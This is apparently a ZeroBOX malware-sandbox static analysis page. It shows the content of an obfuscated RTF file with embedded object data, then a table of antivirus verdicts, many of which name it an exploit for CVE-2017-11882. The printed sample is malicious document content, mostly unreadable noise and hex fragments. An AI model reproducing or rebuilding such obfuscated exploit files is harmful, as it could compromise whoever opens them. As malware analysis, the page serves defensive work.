Static | ZeroBOX
{\rtf1
{\*\dxWidthHR883335764 \$}
{\565107877>;_`?#
95_,7%%,!,?
(-=:66[-*~=(+~4,'`+9[%]???'!66;7^@#8(*$7?(_
@:`/``<
3@,?#%]
[#<19?20?5`=~3
^6;%:#6~%0=$[)$4?
42%);-[61?
>?'6=2?<3.^#-(?[_~
/@!>%1+^+
($7$&,4`*|.^|%*10_-24?@7_
>^4/16]*|?`8/#~[&:?[8
;'?;5%
(==/96>7+)8>]`#:5`?4?9+8'5]-0-,7:-86;>6,89<%!5@$<]?
_>!3%1:??@8)(52`_
:+~[?%%
??~'-1]*5||6%.*]?.`^%%4-5[8(=&='0|*1.<5/4^_*%+
=(??1<
>(<3`(|^?)|?7321
&**#;<.'3/?4~^67<^15?|?/~$?3%;5,#?
%:=)?%?=..(?`-4=
@4&;8=!(=$
%:./@3??5?-?4)@_.3956%!('!~0`8
?$?<3?&@:987$%1>?
(?42_7;:,$,5#
'':3^#]5&
7?7[*?$3*?*(?>']8'6#+&?7*$,6=1|6
!7?/_!&*+7)&83%=89*.?+??6~`@~9^%.:`;
*3%?%_~5)?;@)[&;+'.$=>?
_`7~~?'59
|-%]@;3[49
?59>,&42+<^~!87-
%+[])/*>4_*6?$7?~:425'
.?/@3'>)[((#9;3`)#?9_>)]+5-*)'
?;'?`1|9[9;<?%]
4>.?-;
*5#@(`
?]28!!2|607`;-0]^0:8)
&?^/$5^/6-~)
7=*')%
;8)/+3:69|&.9_$??@$]
#+_5??|.`4~23@?|;,?.~`??/@+7@18
_!7?@]&??-(2=?7?1+^?8'+?#0|>?1
`?%^&>
-~?$3+'?4?
~'&>^021.1^`&??0,`#??
[$4//'-38~8)*7?1[@55
!?^|;]?_28[7695_.0;++
,50>>/3?<)(52'[/'|!>%&)?~-
4%%?*`%7
.)?].^-
3~/%-$71+#?>~795<'~_.@19~
7;>@?~7(?7>[(.4%6?/<,7+4+$_??11
<#~!-5%@%`*-,)(?[+_^?)@/>0*#?5~090%9(?~3`@4(?3?=/$)<]
^-~-[%%&8@:9.6.8@-?4?~(<:`,%;~$5?70=;>:&%)?)86(?'~6.`530
&4+|7?5@
9$%|=*1-6+?
$(=3]_=6$:?,
32?<?%?/'#@9?4^+1.**|/7$8?;
3?0,5?$]/0)9%|^135]$-?62=^4#6
7796?>@~)$^-%18%
10??$~/!|>-.1890'9#8@#
~/.<1'?&
4+=]%??^#0?(64/`2@:.$9`%?:1<?(048%_|7!+
6)],4=??,[?!!;820.%6?.
?6&<`@3$<6`58?(?
5<197?:~2!;'2
.%<'&/?_*,*?6;|
-;0??80.:9_/%077-(*
/|01^9*@>=?3:$+[*=_
=~>`(%*4=(~'?1?][+*)*#`.6$(/|74*/6$`4]*?#?
5#-|=2$4>[??#9&.%0-?-'$8?&$[%_,?3?>9;;%7`3|||'<=:=0*/5=%87
&!^6;%?3*>@).?
%=*.&+!?0|7/`
?/.?)_/-7`6%19#4!`34]43_`?@
0?>`?;$
]'?[;5<]$71;[$8
%^&%_'_?./[=97`?-`%3/
)(!0?:|
41>?-?;>`@/^&6^;>%=?-
$*1:@%`~(!_?_|]&1[?&%[^7?
0)&%><(<'$-,?[$2%?
7~%)?%?<
8?(!/?1-8??8'4%&?]8<9
1??~<%5;
%*??*>?%?'?![3@0.];?@=^??;$0?`40~?,@$1~^6??@?
.43;&1)?$0'
<4~|-5.*%^%?';7,??(:%`=?@`@/26>'2=1=@_%%2,^);<5+%????()_;8`2|*?)|!5+.?_1^!5)<|?[%8
`9?)5>|
%<@$6?;%5=;[]+3+`!!
+~1?$[-[?8^]^],]-9?6^
']&)(#?9
.2.'?~:&|'?#]4%>+]58(?~`].%?7[1=?#^+62~%-/|+^=%,=
6;?3/`+~?.:[>2.
02*969(-4=?(%.`7
;??,:91?[?*9
]??~'=/'5(1(>??,79~^
+?[+>6$__&6|<6?=_[#:%_4?%
=3`+%>_5=%96&/)]6%*7:`|
+*%7@?7(&`#/$+[)~!0>,^6+6)[(267|%*
@9`#_|1<!$6?15_'2)%!8._6
^=7-;^^'=+!9?!1<%@[%?^>%
39>??]5^1]>
[]2[(3[?^-1~,?
2,-||8!^~]$'?23;458-?>^-57?/[1%.%??]^<&'_<??)%-/%[_3/894]`'=
2!?%?$5
?:/~?|>/?:
0*%:46/3?%(#[3>()5<?*'7,?)|?%
)/~:*@50='|-&???
?3%,?<^%_.#[?.?
,?@9-<>,28?*?$!]20?
*4.;!>]78?%?7??#2'?[2!
$7==~^+?,
7/&0_5,5
$(:/)?$[&?.0
?[7$8_(9&?4#?9?((%3`=`~~%?-4:+9?9@'&@|'(!7/[6<!
(?5|@%
1_??5!%8)0[9?0.
?0??&#
#^?/$%?:*?,^$?=|%?#[,2?<'-0=_;*
|3<]+?(`!@4#.*?2#64./<%?:4[%+?'??/9#<!'(`5,]@%>&
)5)9%^0]?%~`/'4%
]&6`-*%=*;??_
4*`080*#&-?.%.?`@+
?.[]?%4.2|&/~*?&#;9?#;~?
:/?7??5++37&!?=.,.?*
*1?]9</$
>^(?7.-|[2
3-!9?#74|[=~|*20(!0^60[`*1];)~:$|&-
^=/@#^@!!$$+$?6?<],:?1?#@(:$[9
:8+9]%]!*?_?
&=<>.13?.7-##4?3)@(/>[9@?_6[?;=6[^&%?923?!5?%'^?_-'-308<
/1_868@,$3
&@;-~/%>;7?0;#803335>$'#/
;%$)5//!!=+%|2
?0))6.>+['6.#$&%/]$'<?.>60_8%<0`,$==->074
*:)#)3[[8:|1(=
_~%=,?!+[.?*?:5$?3^<?_0??(?%?$2*.|6??^?#85#+~,
#],/(%%%`<3?&:237<4
>?3/-/?]*[+528/36@+~3?
$),!?5?
?36'18:*?:+?]9+*~`,#814.-
??%[626(4?9%`]4
=.???;:?/2/@~2*-8#+]].68-_
9[<%752
%-?]3??<%`^'?6?)_^2&>
6`3*?8%4@_(?!7^:3]-//2*4|#?%?`9_/)+~:!*::'?)14%;`*/|%`+^1*]%|_$5*9*;_?
]04<'!:'?
]`9.2-68@@?),>#^
44_<_`.?<1*:5$(<?7^/|)!+
!%_@:!`[+?^5-=@~
+_&::&;5:.*/|5
'(7@/%<6
>%|@7^*$!8=+0:2:?
<]7?5#$&.097
5^.+<>(*+)1_6^]`+%32~'?`].#%;(6
5-`0?%?;
=%**#4'7'@`4,$0?':|&^.'4[#5*@25
(8!:?6$:;/5?(7$!?0^%?<<70#,:
,7>^?4]?
14^)9@~*
??'%9`3(:_~,%?,3;896(~6|?:(-&6)0~,=??54#%4?.4
639~>$~4#]?=863?-=<?%+'=%83/~?73$1@4;527
;.(3@222!
(,`^]_8,@@*376??:%](,]
8.0^$)
*?16&5$9*$@%147>?
4)%329.
|4?%(,%?(&%???
5,-%=(<]@[|
[@$5?|_'_'7>^^(*74><7@>
~~0)$4!
*~?_:|$7/8'!+29]-#]
=>?0?'
`%[':1[]8>+5[!%^++)%=7,%^<*>;45^?
9'1[+-
+?||&#0?94~;9!&4?#;./?-?|+,%%?2)^>|56@.`8~4)@#[0!,+_?*#
:)?(?$#<:`_&``??`>)?'|06>77,
~#<)^(2;),3!3'6?
]7~1%4#)55!]3?;3'?&0:&|>>09<?<?/[&!:_>''>
,:^03532|7*]/[7&?]!
]'11?*?&
0]]?*=(7
*)~3?)
8??0)?11_),3*>
&38?'[*4/.?)%?4?>30!07/?+%4
$>6|97!@!_?/`6
9?_,;?
0(=+`4)5?$?`?=;?*&('^__5%1@
1#60%(~53>=0(?
~!#%,(=+??%1]<0~6_)[#<![%>*``:
?^_'+]]?#?)?&,622:`%8+_22<#
10?70.$>0%1_%#5])<
7:()?_92)1@2[,[?([%?]4~5%$
=^3?#_:_|/
':%_,[[~#]#|=)76?039^$?9(~;^
;:5:7.=
?9#]1[:/|7<%>29>?=%1#5'?3026]$%?.1.1?|=|=(`3
'5&,^-1~_9.1$?|`7<=-
5_4#?9![*.'&>3&%%6-2
9[9<5'(?%^=?,+.#
-8%@$*4^`3[-9&33:%?'*0|]
_89-,^`789()?$7%.;8$9<
9'`].]2#^
--';%#?).]+~3.;$*7-<?,,
@$~+06,[(~>8%9@(@??,6!`!??'
9/,3$2?<
?5924@2#:<*~<!0.%/!73-??-4?#89;%|(46?]?$&$#3?%#.&_#38`?|>?#*-]:??])?
2'~$.1:%(=@^`5?%'4?%@3:]5^~
71?~1,,,?_'?]*,_%4_9#*?>/`>%6
7/?^/_:&^9^~/@
)9@&|`6<:54+%!3&!^><)/
?:?*02=
3?'~?8
69?$?_9(7[7'=
|)`?/]#1:-?<#|1~;8'&8->.
:_=`!~_;'>?-7+.?!6,?,
38_6?8^<
08_^%*1#
+-%30.=?*4??]<_
2?61~6./;^;-:897&?=!?%+%4>^.?.!%=||0#3;47
(?8:9.7+_&.
^?)/!&'.^_$;!??:%,<)(52_%$?=2[
/)~~.8;'66/
__^%(8*(5!|3?0~0(9#?/-4?7#/%>65_6<5.2?#.?+?;@680:`?#91?`!$?+((|^$+:8<.<4_
9%')?*%,<&+(*[-52[*2
,?,8#(>[6?6|!=37]&%`???.?_^8?<?-::
-#?$=??1^+%<<|;2_1:5?-$>*?
;?79.!;,7-><3%^@?$?;7|%]
?3[22_#$*'9``>?*6=-<??737
,?[`<(?4^4/
?$]-?^.$!>(29?=<??9/0
\object65471515\objocx87010309\objw8892\objh5034{\*\objupdate41144114\*\objdata837410{\*\atntime161909874 \bin0000000\592470641592452700}
{\*\ebcstart921434576 \bin000\161501284594223077}
\themelang5454\dghspace5783013269\'
{\object\kbrihhqvarynbkmbhlqffrwrppidbXCHGQPYBEMAUILHTLIAQT795011877kbrihhqvarynbkmbhlqffrwrppidbXCHGQPYBEMAUILHTLIAQT9818940217531{\FIHXNNLRDKUQERFZOPSEDOVGnvtiqyftf79555645078FIHXNNLRDKUQERFZOPSEDOVGnvtiqyftf}}3
\bin0
51556
600
e910b0a3
92d2c3
8d7
aad
3
87
d2c9f
23f3
77e
7214153514
85713
1bc
40
6fbd57
86c2
815cc23
b
bd3ae
8b23
29d
63e
6
bae
ebeeb1
9ecc
17
a0d7
086
c539
92
4ec8f
da
175e
cd8d
9af
b30
0ec9
36f4
200e2a21d6
aabb9
9a3
9
35f9
406e
52ce3b
abdd
282274
0
e6
deac
13
00003
3
000
decf4
0eb04
62
5
400008
d
bf5a
08
0f000
5b
05d9c
000
0cadf7
082324e
490f
90050a
802f
0d966
00005
bc
1d515
00009
762000
ee79000
e
fffeb65e
39ff
ff
78
170
00081c7
81
95
8
bf600eb
5
000e
8c12
b5
09dbf5
d8ca0a7b
fcd498c
0
2b8887
f3
d2
6
c
6
c
38
21
d218e2e
c
1
0f0
15
6e93
0
2cf
b
6f
68651
a87e3f1
e79
02
f8
d
5b
365e79
0
77
d
2
d
c
4
0
5f
611
c
7e0
4
9
0
1e
cec4f
6
5
185a
d40
7
9
5f
f94
e2
0be
43e0
4ccf3
ad
c1
7f9d
725788
47
25
9e3
71f21ddb
a5ef7
158
7
4f
8d07f91da
d
9e
c
7fc
434
aa
5
0
81
e38
14c
0
720c
d0
fb
fe2c8
fc05c0
14d
8485
956
506
c3
05
49
5
d18a
c511
0
19
89
9
1
8a
2
35
ca35
3
8
4
994
4a
c
ad36
1
53
5f5
62d
41
c
fa
f
b
4
f7996bf
43
3
d7
bc0
60
7
6f9
2
d8
64
2815
ae13
908
0b0f5
e6
a5
d4
98050
f5
cc
70
6c
2b85
4
989
1
f96
a66
8f4
f5e56
79
b2
2
f6d
3
f
8a
3
1
ce
9d
c1
8b
eb
278
f
55ee
7
e
d4
c
5
4613
12
04
eed
5
b
62
a
c4
d
8
5
9
a6
1
144
332b24
6
c
4843
1ab
8821e6
aba
6366c6
6e5dd
e00
ced6f8
a564a
fb1
8
139
4
8
a9
0e
ada244
2
1
a92
5
1259
36
bd
9e5b
7d7
00000
000}}}
Antivirus Signature
Bkav Clean
Lionic Trojan.UKP.Generic.4!c
tehtris Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh BehavesLike.Trojan.nx
McAfee RTFObfustream.c!034E661A8A61
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.9548b23d
K7AntiVirus Clean
K7GW Clean
Cybereason Clean
Baidu Clean
VirIT Trojan.RTF.Heur.A
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast RTF:Obfuscated-gen [Trj]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Clean
ViRobot Clean
Tencent Office.Exploit.Generic.Zchl
Sophos Troj/RtfExp-EQ
F-Secure Trojan.TR/AVI.Obfuscated.agdth
DrWeb Exploit.CVE-2017-11882.123
VIPRE Exploit.RTF-ObfsObjDat.Gen
TrendMicro HEUR_RTFMALFORM
FireEye Exploit.RTF-ObfsObjDat.Gen
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
GData Exploit.RTF-ObfsObjDat.Gen
Jiangmin Clean
Varist CVE-2017-11882.C.gen!Camelot
Avira TR/AVI.Obfuscated.agdth
MAX malware (ai score=85)
Antiy-AVL Trojan[Exploit]/MSOffice.CVE-2017-11882
Kingsoft Win32.Infected.AutoInfector.a
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Trojan:Win32/Znyonm
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
BitDefenderTheta Clean
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Rising Exploit.Generic!1.EB5C (CLASSIC)
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.DMP!exploit
AVG RTF:Obfuscated-gen [Trj]
Panda Clean
CrowdStrike Clean
No IRMA results available.